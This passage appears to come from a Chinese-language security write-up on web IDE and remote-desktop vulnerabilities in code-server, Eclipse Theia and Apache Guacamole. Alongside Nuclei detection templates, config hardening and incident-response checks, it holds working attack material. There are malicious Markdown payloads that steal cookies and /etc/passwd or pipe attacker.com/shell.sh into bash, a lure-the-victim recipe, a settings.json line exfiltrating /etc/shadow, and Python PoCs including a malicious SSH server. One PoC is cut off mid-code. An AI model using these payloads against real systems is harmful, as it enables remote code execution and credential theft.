        GET /api/versions HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "vscode"
        case-insensitive: true

      - type: word
        words:
          - "code-server"
        case-insensitive: true

    extractors:
      - type: dsl
        dsl:
          - '"VS Code / code-server instance detected at " + host + ":" + port + " - check version for CVE-2026-47281"'

# 危险配置 - 认证被绕过
server {
    listen 443 ssl;
    location / {
        proxy_pass http://127.0.0.1:8080;
        # 缺少认证头传递
    }
}

# 安全配置 - 保持 code-server 认证
server {
    listen 443 ssl;
    location / {
        proxy_pass http://127.0.0.1:8080;
        proxy_set_header Host $host;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection upgrade;
        proxy_set_header Accept-Encoding gzip;
        proxy_set_header Authorization $http_authorization;
        # 不要覆盖或移除 Authorization 头
    }
}

# 检查 code-server 认证配置
cat ~/.config/code-server/config.yaml

# 确认认证未被禁用
grep -r "auth" ~/.config/code-server/
# 不应包含 "auth: none"

# 检查是否监听 0.0.0.0（公网暴露）
ss -tlnp | grep 8080
# 如果绑定到 0.0.0.0 且无认证，风险极高

// .vscode/settings.json 中的危险配置
{
    "terminal.integrated.shellArgs.linux": "-c 'curl attacker.com/exfil?data=$(cat /etc/shadow)'",
    "python.terminal.executeInFileDir": true,
    "task.autoRun": true
}

# 危险的 Docker 配置 - 共享宿主机命名空间
FROM ubuntu:22.04
# 未限制的权限
RUN apt-get update && apt-get install -y sudo
# 允许容器内提权
ALL ALL=(ALL) NOPASSWD: ALL

// 漏洞代码简化 - @theia/preview 的 renderContent 方法
async renderContent(content: string) {
    // 使用 markdown-it 渲染 Markdown 为 HTML
    const html = this.markdownRenderer.render(content);
    // 直接注入 innerHTML - 无 DOMPurify 净化！
    this.previewElement.innerHTML = html;
}

// 修复版本添加了 DOMPurify：
async renderContent(content: string) {
    const html = this.markdownRenderer.render(content);
    // 使用 DOMPurify 净化 HTML
    this.previewElement.innerHTML = DOMPurify.sanitize(html);
}

# 恶意 Markdown 文件

<style onload="fetch('http://attacker.com/steal?cookie='+document.cookie)">
</style>

<img src=x onerror="require('child_process').exec('curl http://attacker.com/shell.sh | bash')">

[点击查看详情](javascript:require('child_process').exec('id'))

# 1. 创建恶意 Markdown 文件
cat > evil.md << 'MDEOF'
# 项目文档

<style onload="var x=new XMLHttpRequest();x.open('GET','http://ATTACKER:9999/steal?c='+document.cookie);x.send();">
</style>

<img src=x onerror="require('child_process').exec('curl http://ATTACKER:9999/shell?data='+require('fs').readFileSync('/etc/passwd').toString())">

## 安装说明

正常的内容...
MDEOF

# 2. 托管恶意文件
python3 -m http.server 8080

# 3. 引诱目标在 Theia IDE 中打开并预览该文件
echo "将 http://ATTACKER:8080/evil.md 分享给使用 Eclipse Theia 的目标"

#!/usr/bin/env python3
"""
CVE-2020-27224 - Eclipse Theia Markdown 预览 RCE PoC
描述：通过恶意 Markdown 文件在 Theia IDE 中实现远程代码执行
仅用于授权安全测试
"""

import json
import os
import sys
from typing import Optional


def create_malicious_markdown(
    attacker_url: str = "http://attacker:9999",
    platform: str = "node"
) -> str:
    if platform == "node":
        payload = (
            f'<img src=x onerror="'
            f"require('child_process').exec("
            f"'curl {attacker_url}/callback?data=\"+"
            f"require('child_process').execSync(\"id\").toString()"
            f'">'
        )
    elif platform == "python":
        payload = (
            f'<img src=x onerror="'
            f"fetch('{attacker_url}/callback?data=exploited')"
            f'">'
        )
    else:
        payload = (
            f'<img src=x onerror="'
            f"this.src='{attacker_url}/beacon?c='+document.cookie"
            f'">'
        )

    markdown = f"""# 项目文档

## 安装说明

请按照以下步骤安装依赖。

{payload}

## 配置

正常的技术文档内容...

## 使用方法

```bash
npm install
npm start

#### Nuclei YAML 检测模板

```yaml
id: cve-2020-27224-theia-markdown-rce

info:
  name: Eclipse Theia <= 1.2.0 - Markdown 预览 RCE
  author: security-researcher
  severity: critical
  description: |
    Eclipse Theia 的 Markdown 预览功能未对渲染后的 HTML 进行净化，
    攻击者可通过恶意 Markdown 文件在 Electron 环境中执行任意代码。
  reference:
    - https://github.com/eclipse-theia/theia/issues/7954
    - https://github.com/eclipse-theia/theia/pull/7971
    - https://omespino.com/write-up-google-bug-bounty-xss-to-cloud-shell-instance-takeover-rce-as-root-5000-usd/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2020-27224
  tags: cve,2020,theia,xss,rce,markdown

http:
  - raw:
      - |
        GET /api/v1/config HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "theia"
        case-insensitive: true

      - type: word
        words:
          - "eclipse"
        case-insensitive: true

    extractors:
      - type: dsl
        dsl:
          - '"Eclipse Theia instance detected at " + host + ":" + port + " - check for Markdown preview RCE (CVE-2020-27224)"'

// 简化的漏洞原理（guacd 的终端处理代码）
// 攻击者通过 SSH 服务器发送恶意 console code 序列
void process_console_code(char *data, int len) {
    // 未充分验证的 console code 解析
    // 恶意序列可以触发缓冲区溢出或格式化字符串漏洞
    switch (data[1]) {
        case 'c':
            // Console code 处理 - 可被利用
            handle_console_operation(data + 2, len - 2);
            break;
        // ...
    }
}

# 1. 设置恶意 SSH 服务器（使用 socat 模拟）
# 该服务器在 Guacamole 连接时发送恶意 console code
socat TCP-LISTEN:2222,reuseaddr,fork \
  SYSTEM:'echo -e "\x1b[?1h\x1b[=c\x1b[?2004h" && sleep 5'

# 2. 配置 Guacamole 连接到恶意 SSH 服务器
# guacamole.properties 或数据库配置中设置:
# ssh-hostname=ATTACKER_IP
# ssh-port=2222

# 3. 检测目标 Guacamole 实例
curl -s http://TARGET:8080/guacamole/api/tokens | head -c 200

#!/usr/bin/env python3
"""
CVE-2023-29194 - Apache Guacamole 终端模拟器命令注入 PoC
描述：通过恶意 SSH 服务器向 Guacamole 发送恶意 console code
仅用于授权安全测试
"""

import socket
import sys
import time
import threading
from typing import Optional


def create_malicious_ssh_server(
    listen_port: int = 2222,
    payload_cmd: str = "id"
) -> None:
    print(f"[*] CVE-2023-29194 - Guacamole 终端注入 PoC")
    print(f"[*] 监听端口: {listen_port}")
    print(f"[*] Payload: {payload_cmd}")

    malicious_console_codes = (
        "\x1b[?1h"
        "\x1b[=c"
        "\x1b[?2004h"
        f"\x1b]0;{payload_cmd}\x07"
        "\x1b[2J\x1b[H"
        "Connection established.\n"
    )

    def handle_client(conn, addr):
        print(f"[+] Guacamole 连接来自: {addr}")
        try:
            conn.send(b"SSH-2.0-OpenSSH_8.9\r\n")
            time.sleep(0.5)
            conn.send(malicious_console_codes.encode('utf-8', errors='ignore'))
            time.sleep(0.5)
            conn.send(b"\r\n$ " + payload_cmd.encode() + b"\r\n")
            time.sleep(2)
        except Exception as e:
            print(f"[-] 错误: {e}")
        finally:
            conn.close()

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(('0.0.0.0', listen_port))
    server.listen(5)
    print(f"[*] 恶意 SSH 服务器已启动，等待 Guacamole 连接...")

    while True:
        conn, addr = server.accept()
        thread = threading.Thread(target=handle_client, args=(conn, addr))
        thread.daemon = True
        thread.start()


def check_guacamole(target_url: str) -> bool:
    print(f"[*] 检测 Guacamole 实例: {target_url}")
    try:
        import requests
        resp = requests.get(f"{target_url}/guacamole/api/tokens", timeout=5)
        if resp.status_code in (200, 401, 403):
            print(f"[+] Guacamole 实例在线")
            if resp.status_code == 200:
                data = resp.json()
                print(f"[*] 版本: {data.get('version', 'unknown')}")
            return True
    except Exception as e:
        print(f"[-] 检测失败: {e}")
    return False


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法:")
        print(f"  {sys.argv[0]} server [port] [command]  - 启动恶意 SSH 服务器")
        print(f"  {sys.argv[0]} check <target_url>       - 检测 Guacamole")
        sys.exit(1)

    action = sys.argv[1]
    if action == "server":
        port = int(sys.argv[2]) if len(sys.argv) > 2 else 2222
        cmd = sys.argv[3] if len(sys.argv) > 3 else "id"
        create_malicious_ssh_server(port, cmd)
    elif action == "check":
        target = sys.argv[2] if len(sys.argv) > 2 else "http://localhost:8080"
        check_guacamole(target)

id: cve-2023-29194-guacamole-console-injection

info:
  name: Apache Guacamole < 1.5.0 - 终端模拟器命令注入
  author: security-researcher
  severity: high
  description: |
    Apache Guacamole 终端模拟器未正确验证 SSH/Telnet 服务器返回的
    console code，恶意服务器可在 guacd 进程中执行任意代码。
  reference:
    - https://guacamole.apache.org/security/
  classification:
    cvss-score: 7.2
    cve-id: CVE-2023-29194
  tags: cve,2023,guacamole,terminal-injection

http:
  - raw:
      - |
        GET /guacamole/api/tokens HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "version"

      - type: word
        words:
          - "guacamole"
        case-insensitive: true

    extractors:
      - type: json
        json:
          - ".version"

      - type: dsl
        dsl:
          - '"Apache Guacamole found at " + host + ":" + port'

# 危险的模板配置 - 使用未经验证的镜像
template:
  name: dev-workspace
  docker:
    image: random-user/custom-dev-image:latest  # 未经验证的镜像

# 危险配置 - workspace 以 root 运行且无资源限制
workspace:
  securityContext:
    runAsUser: 0  # root 权限
  resources:
    limits: {}  # 无资源限制

# 1. 通过 iptables 立即阻断外部访问
iptables -A INPUT -p tcp --dport 8888 -j DROP  # Jupyter
iptables -A INPUT -p tcp --dport 8080 -j DROP  # code-server
iptables -A INPUT -p tcp --dport 7681 -j DROP  # ttyd

# 2. 检查 SSH 后门
find / -name "authorized_keys" -exec ls -la {} \;
crontab -l
ls -la /etc/cron.*

# 3. 检查 Jupyter 日志中的敏感信息泄露
grep -r "Cookie\|_xsrf\|Authorization" /var/log/jupyter/

# 4. 检查 VS Code Server 进程
ps aux | grep code-server
netstat -tlnp | grep 8080